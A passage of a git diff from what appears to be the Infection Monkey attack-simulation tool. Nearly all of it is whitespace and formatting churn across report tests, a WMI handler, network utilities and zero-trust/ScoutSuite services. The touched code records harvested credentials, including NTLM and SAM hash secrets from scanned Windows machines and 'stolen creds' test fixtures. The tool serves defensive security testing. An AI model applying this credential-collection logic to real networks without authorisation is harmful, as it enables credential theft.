{"origin":VICTIM_DOMAIN_NAME, "type":"LM hash", "username":USER}, + {"origin":VICTIM_DOMAIN_NAME, "type":"NTLM hash", "username":USER}, ] assert expected_stolen_creds_exploit == stolen_creds_exploit @@ -101,9 +100,9 @@ def test_get_stolen_creds_system_info(fake_mongo): stolen_creds_system_info = ReportService.get_stolen_creds() expected_stolen_creds_system_info = [ - {"origin": HOSTNAME, "type": "Clear Password", "username": USER}, - {"origin": HOSTNAME, "type": "LM hash", "username": USER}, - {"origin": HOSTNAME, "type": "NTLM hash", "username": USER}, + {"origin":HOSTNAME, "type":"Clear Password", "username":USER}, + {"origin":HOSTNAME, "type":"LM hash", "username":USER}, + {"origin":HOSTNAME, "type":"NTLM hash", "username":USER}, ] assert expected_stolen_creds_system_info == stolen_creds_system_info diff --git a/monkey/monkey_island/cc/services/tests/test_config.py b/monkey/monkey_island/cc/services/tests/test_config.py index c43a13be960..021acdd5cfb 100644 --- a/monkey/monkey_island/cc/services/tests/test_config.py +++ b/monkey/monkey_island/cc/services/tests/test_config.py @@ -6,13 +6,14 @@ IPS = ["0.0.0.0", "9.9.9.9"] PORT = 9999 + # If tests fail because config path is changed, sync with # monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js @pytest.fixture def config(monkeypatch): - monkeypatch.setattr("monkey_island.cc.services.config.local_ip_addresses", lambda: IPS) + monkeypatch.setattr("monkey_island.cc.services.config.local_ip_addresses", lambda:IPS) monkeypatch.setattr(Environment, "_ISLAND_PORT", PORT) config = ConfigService.get_default_config(True) return config diff --git a/monkey/monkey_island/cc/services/utils/bootloader_config.py b/monkey/monkey_island/cc/services/utils/bootloader_config.py index f1eaf93683c..c9ff785f5a4 100644 --- a/monkey/monkey_island/cc/services/utils/bootloader_config.py +++ b/monkey/monkey_island/cc/services/utils/bootloader_config.py @@ -1,11 +1,11 @@ MIN_GLIBC_VERSION = 2.14 SUPPORTED_WINDOWS_VERSIONS = { - "xp_or_lower": False, - "vista": False, - "vista_sp1": False, - "vista_sp2": True, - "windows7": True, - "windows7_sp1": True, - "windows8_or_greater": True, + "xp_or_lower":False, + "vista":False, + "vista_sp1":False, + "vista_sp2":True, + "windows7":True, + "windows7_sp1":True, + "windows8_or_greater":True, } diff --git a/monkey/monkey_island/cc/services/utils/network_utils.py b/monkey/monkey_island/cc/services/utils/network_utils.py index ba3c7693949..ec9ef8cd594 100644 --- a/monkey/monkey_island/cc/services/utils/network_utils.py +++ b/monkey/monkey_island/cc/services/utils/network_utils.py @@ -22,6 +22,7 @@ def local_ips(): else: import fcntl + def local_ips(): result = [] try: @@ -33,12 +34,12 @@ def local_ips(): struct_bytes = max_possible * struct_size names = array.array("B", "\0" * struct_bytes) outbytes = struct.unpack( - "iL", - fcntl.ioctl( - s.fileno(), - 0x8912, # SIOCGIFCONF - struct.pack("iL", struct_bytes, names.buffer_info()[0]), - ), + "iL", + fcntl.ioctl( + s.fileno(), + 0x8912, # SIOCGIFCONF + struct.pack("iL", struct_bytes, names.buffer_info()[0]), + ), )[0] if outbytes == struct_bytes: max_possible *= 2 @@ -47,7 +48,7 @@ def local_ips(): namestr = names.tostring() for i in range(0, outbytes, struct_size): - addr = socket.inet_ntoa(namestr[i + 20 : i + 24]) + addr = socket.inet_ntoa(namestr[i + 20: i + 24]) if not addr.startswith("127"): result.append(addr) # name of interface is (namestr[i:i+16].split('\0', 1)[0] @@ -60,10 +61,13 @@ def is_local_ips(ips: List) -> bool: return collections.Counter(ips) == collections.Counter(filtered_local_ips) -# The local IP addresses list should not change often. Therefore, we can cache the result and never call this function -# more than once. This stopgap measure is here since this function is called a lot of times during the report +# The local IP addresses list should not change often. Therefore, we can cache the result and +# never call this function +# more than once. This stopgap measure is here since this function is called a lot of times +# during the report # generation. -# This means that if the interfaces of the Island machine change, the Island process needs to be restarted. +# This means that if the interfaces of the Island machine change, the Island process needs to be +# restarted. @lru(maxsize=1) def local_ip_addresses(): ip_list = [] @@ -73,20 +77,23 @@ def local_ip_addresses(): return ip_list -# The subnets list should not change often. Therefore, we can cache the result and never call this function -# more than once. This stopgap measure is here since this function is called a lot of times during the report +# The subnets list should not change often. Therefore, we can cache the result and never call +# this function +# more than once. This stopgap measure is here since this function is called a lot of times +# during the report # generation. -# This means that if the interfaces or subnets of the Island machine change, the Island process needs to be restarted. +# This means that if the interfaces or subnets of the Island machine change, the Island process +# needs to be restarted. @lru(maxsize=1) def get_subnets(): subnets = [] for interface in interfaces(): addresses = ifaddresses(interface).get(AF_INET, []) subnets.extend( - [ - ipaddress.ip_interface(link["addr"] + "/" + link["netmask"]).network - for link in addresses - if link["addr"] != "127.0.0.1" - ] + [ + ipaddress.ip_interface(link["addr"] + "/" + link["netmask"]).network + for link in addresses + if link["addr"] != "127.0.0.1" + ] ) return subnets diff --git a/monkey/monkey_island/cc/services/utils/node_states.py b/monkey/monkey_island/cc/services/utils/node_states.py index bf5f2211a2f..7e9305b83d5 100644 --- a/monkey/monkey_island/cc/services/utils/node_states.py +++ b/monkey/monkey_island/cc/services/utils/node_states.py @@ -38,13 +38,13 @@ def get_by_keywords(keywords: List) -> NodeStates: ] if len(potential_groups) > 1: raise MultipleGroupsFoundException( - "Multiple groups contain provided keywords. " - "Manually build group string to ensure keyword order." + "Multiple groups contain provided keywords. " + "Manually build group string to ensure keyword order." ) elif len(potential_groups) == 0: raise NoGroupsFoundException( - "No groups found with provided keywords. " - "Check for typos and make sure group codes want to find exists." + "No groups found with provided keywords. " + "Check for typos and make sure group codes want to find exists." ) return potential_groups[0] diff --git a/monkey/monkey_island/cc/services/utils/node_states_test.py b/monkey/monkey_island/cc/services/utils/node_states_test.py index 98df5455b5f..02ce075c5ce 100644 --- a/monkey/monkey_island/cc/services/utils/node_states_test.py +++ b/monkey/monkey_island/cc/services/utils/node_states_test.py @@ -7,14 +7,14 @@ class TestNodeGroups(TestCase): def test_get_group_by_keywords(self): self.assertEqual(NodeStates.get_by_keywords(["island"]), NodeStates.ISLAND) self.assertEqual( - NodeStates.get_by_keywords(["running", "linux", "monkey"]), - NodeStates.MONKEY_LINUX_RUNNING, + NodeStates.get_by_keywords(["running", "linux", "monkey"]), + NodeStates.MONKEY_LINUX_RUNNING, ) self.assertEqual( - NodeStates.get_by_keywords(["monkey", "linux", "running"]), - NodeStates.MONKEY_LINUX_RUNNING, + NodeStates.get_by_keywords(["monkey", "linux", "running"]), + NodeStates.MONKEY_LINUX_RUNNING, ) with self.assertRaises(NoGroupsFoundException): NodeStates.get_by_keywords( - ["bogus", "values", "from", "long", "list", "should", "fail"] + ["bogus", "values", "from", "long", "list", "should", "fail"] ) diff --git a/monkey/monkey_island/cc/services/wmi_handler.py b/monkey/monkey_island/cc/services/wmi_handler.py index fe401ce38ad..7ea6d622560 100644 --- a/monkey/monkey_island/cc/services/wmi_handler.py +++ b/monkey/monkey_island/cc/services/wmi_handler.py @@ -38,7 +38,7 @@ def process_and_handle_wmi_info(self): def update_critical_services(self): critical_names = ("W3svc", "MSExchangeServiceHost", "dns", "MSSQL$SQLEXPRES") - mongo.db.monkey.update({"_id": self.monkey_id}, {"$set": {"critical_services": []}}) + mongo.db.monkey.update({"_id":self.monkey_id}, {"$set":{"critical_services":[]}}) services_names_list = [str(i["Name"])[2:-1] for i in self.services] products_names_list = [str(i["Name"])[2:-2] for i in self.products] @@ -46,16 +46,16 @@ def update_critical_services(self): for name in critical_names: if name in services_names_list or name in products_names_list: mongo.db.monkey.update( - {"_id": self.monkey_id}, {"$addToSet": {"critical_services": name}} + {"_id":self.monkey_id}, {"$addToSet":{"critical_services":name}} ) def build_entity_document(self, entity_info, monkey_id=None): general_properties_dict = { - "SID": str(entity_info["SID"])[4:-1], - "name": str(entity_info["Name"])[2:-1], - "machine_id": monkey_id, - "member_of": [], - "admin_on_machines": [], + "SID":str(entity_info["SID"])[4:-1], + "name":str(entity_info["Name"])[2:-1], + "machine_id":monkey_id, + "member_of":[], + "admin_on_machines":[], } if monkey_id: @@ -72,7 +72,7 @@ def add_users_to_collection(self): else: base_entity = self.build_entity_document(user, self.monkey_id) base_entity["NTLM_secret"] = self.users_secrets.get(base_entity["name"], {}).get( - "ntlm_hash" + "ntlm_hash" ) base_entity["SAM_secret"] = self.users_secrets.get(base_entity["name"], {}).get("sam") base_entity["secret_location"] = [] @@ -105,25 +105,25 @@ def create_group_user_connection(self): if "cimv2:Win32_UserAccount" in child_part: # domain user domain_name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split( - '",Name="' + '",Name="' )[0] name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split( - '",Name="' + '",Name="' )[1][:-2] if "cimv2:Win32_Group" in child_part: # domain group domain_name = child_part.split('cimv2:Win32_Group.Domain="')[1].split( - '",Name="' + '",Name="' )[0] name = child_part.split('cimv2:Win32_Group.Domain="')[1].split('",Name="')[1][ - :-2 - ] + :-2 + ] for entity in self.info_for_mongo: if ( - self.info_for_mongo[entity]["name"] == name - and self.info_for_mongo[entity]["domain"] == domain_name + self.info_for_mongo[entity]["name"] == name + and self.info_for_mongo[entity]["domain"] == domain_name ): child_sid = self.info_for_mongo[entity]["SID"] else: @@ -141,42 +141,45 @@ def insert_info_to_mongo(self): if entity["machine_id"]: # Handling for local entities. mongo.db.groupsandusers.update( - {"SID": entity["SID"], "machine_id": entity["machine_id"]}, entity, upsert=True + {"SID":entity["SID"], "machine_id":entity["machine_id"]}, entity, + upsert=True ) else: # Handlings for domain entities. - if not mongo.db.groupsandusers.find_one({"SID": entity["SID"]}): + if not mongo.db.groupsandusers.find_one({"SID":entity["SID"]}): mongo.db.groupsandusers.insert_one(entity) else: - # if entity is domain entity, add the monkey id of current machine to secrets_location. + # if entity is domain entity, add the monkey id of current machine to + # secrets_location. # (found on this machine) if entity.get("NTLM_secret"): mongo.db.groupsandusers.update_one( - {"SID": entity["SID"], "type": USERTYPE}, - {"$addToSet": {"secret_location": self.monkey_id}}, + {"SID":entity["SID"], "type":USERTYPE}, + {"$addToSet":{"secret_location":self.monkey_id}}, ) def update_admins_retrospective(self): for profile in self.info_for_mongo: groups_from_mongo = mongo.db.groupsandusers.find( - {"SID": {"$in": self.info_for_mongo[profile]["member_of"]}}, - {"admin_on_machines": 1}, + {"SID":{"$in":self.info_for_mongo[profile]["member_of"]}}, + {"admin_on_machines":1}, ) for group in groups_from_mongo: if group["admin_on_machines"]: mongo.db.groupsandusers.update_one( - {"SID": self.info_for_mongo[profile]["SID"]}, - {"$addToSet": {"admin_on_machines": {"$each": group["admin_on_machines"]}}}, + {"SID":self.info_for_mongo[profile]["SID"]}, + {"$addToSet":{ + "admin_on_machines":{"$each":group["admin_on_machines"]}}}, ) def add_admin(self, group, machine_id): for sid in group["entities_list"]: mongo.db.groupsandusers.update_one( - {"SID": sid}, {"$addToSet": {"admin_on_machines": machine_id}} + {"SID":sid}, {"$addToSet":{"admin_on_machines":machine_id}} ) entity_details = mongo.db.groupsandusers.find_one( - {"SID": sid}, {"type": USERTYPE, "entities_list": 1} + {"SID":sid}, {"type":USERTYPE, "entities_list":1} ) if entity_details.get("type") == GROUPTYPE: self.add_admin(entity_details, machine_id) diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py index 8b4c7d97eb2..9c379989d5f 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py @@ -14,21 +14,21 @@ class MonkeyZTDetailsService: @staticmethod def fetch_details_for_display(finding_id: ObjectId) -> dict: pipeline = [ - {"$match": {"_id": finding_id}}, + {"$match":{"_id":finding_id}}, { - "$addFields": { - "oldest_events": {"$slice": ["$events", int(MAX_EVENT_FETCH_CNT / 2)]}, - "latest_events": {"$slice": ["$events", int(-1 * MAX_EVENT_FETCH_CNT / 2)]}, - "event_count": {"$size": "$events"}, + "$addFields":{ + "oldest_events":{"$slice":["$events", int(MAX_EVENT_FETCH_CNT / 2)]}, + "latest_events":{"$slice":["$events", int(-1 * MAX_EVENT_FETCH_CNT / 2)]}, + "event_count":{"$size":"$events"}, } }, - {"$unset": ["events"]}, + {"$unset":["events"]}, ] detail_list = list(MonkeyFindingDetails.objects.aggregate(*pipeline)) if detail_list: details = detail_list[0] details["latest_events"] = MonkeyZTDetailsService._remove_redundant_events( - details["event_count"], details["latest_events"] + details["event_count"], details["latest_events"] ) return details else: @@ -36,7 +36,7 @@ def fetch_details_for_display(finding_id: ObjectId) -> dict: @staticmethod def _remove_redundant_events( - fetched_event_count: int, latest_events: List[object] + fetched_event_count: int, latest_events: List[object] ) -> List[object]: overlap_count = fetched_event_count - int(MAX_EVENT_FETCH_CNT / 2) # None of 'latest_events' are in 'oldest_events' @@ -48,4 +48,4 @@ def _remove_redundant_events( # Some of 'latest_events' are already in 'oldest_events'. # Return only those that are not else: - return latest_events[-1 * overlap_count :] + return latest_events[-1 * overlap_count:] diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py index 68f09fbe9d2..ba71e42b36f 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py @@ -12,15 +12,17 @@ class MonkeyZTFindingService: @staticmethod def create_or_add_to_existing(test: str, status: str, events: List[Event]): """ - Create a new finding or add the events to an existing one if it's the same (same meaning same status and same + Create a new finding or add the events to an existing one if it's the same (same meaning + same status and same test). - :raises: Assertion error if this is used when there's more then one finding which fits the query - this is not + :raises: Assertion error if this is used when there's more then one finding which fits + the query - this is not when this function should be used. """ existing_findings = list(MonkeyFinding.objects(test=test, status=status)) assert len(existing_findings) < 2, "More than one finding exists for {}:{}".format( - test, status + test, status ) if len(existing_findings) == 0: @@ -44,17 +46,17 @@ def add_events(finding: MonkeyFinding, events: List[Event]): def get_events_by_finding(finding_id: str) -> List[object]: finding = MonkeyFinding.objects.get(id=finding_id) pipeline = [ - {"$match": {"_id": ObjectId(finding.details.id)}}, - {"$unwind": "$events"}, - {"$project": {"events": "$events"}}, - {"$replaceRoot": {"newRoot": "$events"}}, + {"$match":{"_id":ObjectId(finding.details.id)}}, + {"$unwind":"$events"}, + {"$project":{"events":"$events"}}, + {"$replaceRoot":{"newRoot":"$events"}}, ] return list(MonkeyFindingDetails.objects.aggregate(*pipeline)) @staticmethod def add_malicious_activity_to_timeline(events): MonkeyZTFindingService.create_or_add_to_existing( - test=zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE, - status=zero_trust_consts.STATUS_VERIFY, - events=events, + test=zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE, + status=zero_trust_consts.STATUS_VERIFY, + events=events, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py index 1916857794c..4440d822e0a 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py @@ -7,7 +7,8 @@ def test__remove_redundant_events(monkeypatch): monkeypatch.setattr(monkey_zt_details_service, "MAX_EVENT_FETCH_CNT", 6) - # No events are redundant, 8 events in the database, but we display only 6 (3 latest and 3 oldest) + # No events are redundant, 8 events in the database, but we display only 6 (3 latest and 3 + # oldest) latest_events = ["6", "7", "8"] _do_redundant_event_removal_test(latest_events, 8, ["6", "7", "8"]) diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py index b92a52ae1b3..7ff54c57fbd 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py @@ -13,17 +13,17 @@ EVENTS = [ Event.create_event( - title="Process list", - message="Monkey on gc-pc-244 scanned the process list", - event_type="monkey_local", - timestamp=datetime.strptime("2021-01-19 12:07:17.802138", "%Y-%m-%d %H:%M:%S.%f"), + title="Process list", + message="Monkey on gc-pc-244 scanned the process list", + event_type="monkey_local", + timestamp=datetime.strptime("2021-01-19 12:07:17.802138", "%Y-%m-%d %H:%M:%S.%f"), ), Event.create_event( - title="Communicate as new user", - message="Monkey on gc-pc-244 couldn't communicate as new user. " - "Details: System error 5 has occurred. Access is denied.", - event_type="monkey_network", - timestamp=datetime.strptime("2021-01-19 12:22:42.246020", "%Y-%m-%d %H:%M:%S.%f"), + title="Communicate as new user", + message="Monkey on gc-pc-244 couldn't communicate as new user. " + "Details: System error 5 has occurred. Access is denied.", + event_type="monkey_network", + timestamp=datetime.strptime("2021-01-19 12:22:42.246020", "%Y-%m-%d %H:%M:%S.%f"), ), ] @@ -44,7 +44,7 @@ class TestMonkeyZTFindingService: def test_create_or_add_to_existing_creation(self): # Create new finding MonkeyZTFindingService.create_or_add_to_existing( - test=TESTS[0], status=STATUS[0], events=[EVENTS[0]] + test=TESTS[0], status=STATUS[0], events=[EVENTS[0]] ) # Assert that it was properly created findings = list(Finding.objects()) @@ -59,14 +59,14 @@ def test_create_or_add_to_existing_creation(self): def test_create_or_add_to_existing_addition(self): # Create new finding MonkeyZTFindingService.create_or_add_to_existing( - test=TESTS[0], status=STATUS[0], events=[EVENTS[0]] + test=TESTS[0], status=STATUS[0], events=[EVENTS[0]] ) # Assert that there's only one finding assert len(Finding.objects()) == 1 # Add events to an existing finding MonkeyZTFindingService.create_or_add_to_existing( - test=TESTS[0], status=STATUS[0], events=[EVENTS[1]] + test=TESTS[0], status=STATUS[0], events=[EVENTS[1]] ) # Assert there's still only one finding, only events got appended assert len(Finding.objects()) == 1 @@ -74,7 +74,7 @@ def test_create_or_add_to_existing_addition(self): # Create new finding MonkeyZTFindingService.create_or_add_to_existing( - test=TESTS[1], status=STATUS[1], events=[EVENTS[1]] + test=TESTS[1], status=STATUS[1], events=[EVENTS[1]] ) # Assert there was a new finding created, because test and status is different assert len(MonkeyFinding.objects()) == 2 diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudformation_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudformation_rules.py index c08c7b6145b..c8dbffb46e0 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudformation_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudformation_rules.py @@ -4,6 +4,5 @@ class CloudformationRules(RuleNameEnum): - # Service Security CLOUDFORMATION_STACK_WITH_ROLE = "cloudformation-stack-with-role" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ses_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ses_rules.py index d1894144d68..a73e00478fb 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ses_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ses_rules.py @@ -4,7 +4,6 @@ class SESRules(RuleNameEnum): - # Permissive policies SES_IDENTITY_WORLD_SENDRAWEMAIL_POLICY = "ses-identity-world-SendRawEmail-policy" SES_IDENTITY_WORLD_SENDEMAIL_POLICY = "ses-identity-world-SendEmail-policy" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sns_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sns_rules.py index 47e49a0d1db..09d410239f2 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sns_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sns_rules.py @@ -4,7 +4,6 @@ class SNSRules(RuleNameEnum): - # Permissive policies SNS_TOPIC_WORLD_SUBSCRIBE_POLICY = "sns-topic-world-Subscribe-policy" SNS_TOPIC_WORLD_SETTOPICATTRIBUTES_POLICY = "sns-topic-world-SetTopicAttributes-policy" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sqs_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sqs_rules.py index 84190ceb37c..44e666f9615 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sqs_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sqs_rules.py @@ -4,7 +4,6 @@ class SQSRules(RuleNameEnum): - # Permissive policies SQS_QUEUE_WORLD_SENDMESSAGE_POLICY = "sqs-queue-world-SendMessage-policy" SQS_QUEUE_WORLD_RECEIVEMESSAGE_POLICY = "sqs-queue-world-ReceiveMessage-policy" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py index 134ed35008d..37c3b47fdd7 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py @@ -2,7 +2,8 @@ from common.utils.code_utils import get_value_from_dict from common.utils.exceptions import RulePathCreatorNotFound -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators_list import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ + .rule_path_creators_list import ( RULE_PATH_CREATORS_LIST, ) @@ -35,6 +36,6 @@ def _get_rule_path_creator(rule_name: Enum): return RULE_TO_RULE_PATH_CREATOR_HASHMAP[rule_name] except KeyError: raise RulePathCreatorNotFound( - f"Rule path creator not found for rule {rule_name.value}. Make sure to assign" - f"this rule to any rule path creators." + f"Rule path creator not found for rule {rule_name.value}. Make sure to assign" + f"this rule to any rule path creators." ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py index 40e438ebabf..d9c3e9491e7 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py @@ -2,12 +2,12 @@ CloudformationRules, ) from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ + .abstract_rule_path_creator import ( AbstractRulePathCreator, ) class CloudformationRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.CLOUDFORMATION supported_rules = CloudformationRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py index 928cd138e6e..ef8d31975e5 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py @@ -2,12 +2,12 @@ CloudTrailRules, ) from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ + .abstract_rule_path_creator import ( AbstractRulePathCreator, ) class CloudTrailRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.CLOUDTRAIL supported_rules = CloudTrailRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py index 4d45c878e58..fc88ef7c498 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py @@ -2,12 +2,12 @@ CloudWatchRules, ) from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ + .abstract_rule_path_creator import ( AbstractRulePathCreator, ) class CloudWatchRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.CLOUDWATCH supported_rules = CloudWatchRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py index b5607cbe810..bce1d765dd9 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py @@ -2,12 +2,12 @@ ConfigRules, ) from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ + .abstract_rule_path_creator import ( AbstractRulePathCreator, ) class ConfigRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.CONFIG supported_rules = ConfigRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py index 8d951f656fe..d1145559f5d 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py @@ -1,11 +1,11 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ec2_rules import EC2Rules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ + .abstract_rule_path_creator import ( AbstractRulePathCreator, ) class EC2RulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.EC2 supported_rules = EC2Rules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py index 4af6e351bf2..56483eacae5 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py @@ -1,11 +1,11 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elb_rules import ELBRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ + .abstract_rule_path_creator import ( AbstractRulePathCreator, ) class ELBRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.ELB supported_rules = ELBRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py index 935a8678eb5..9fbb85f4549 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py @@ -1,11 +1,11 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elbv2_rules import ELBv2Rules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import 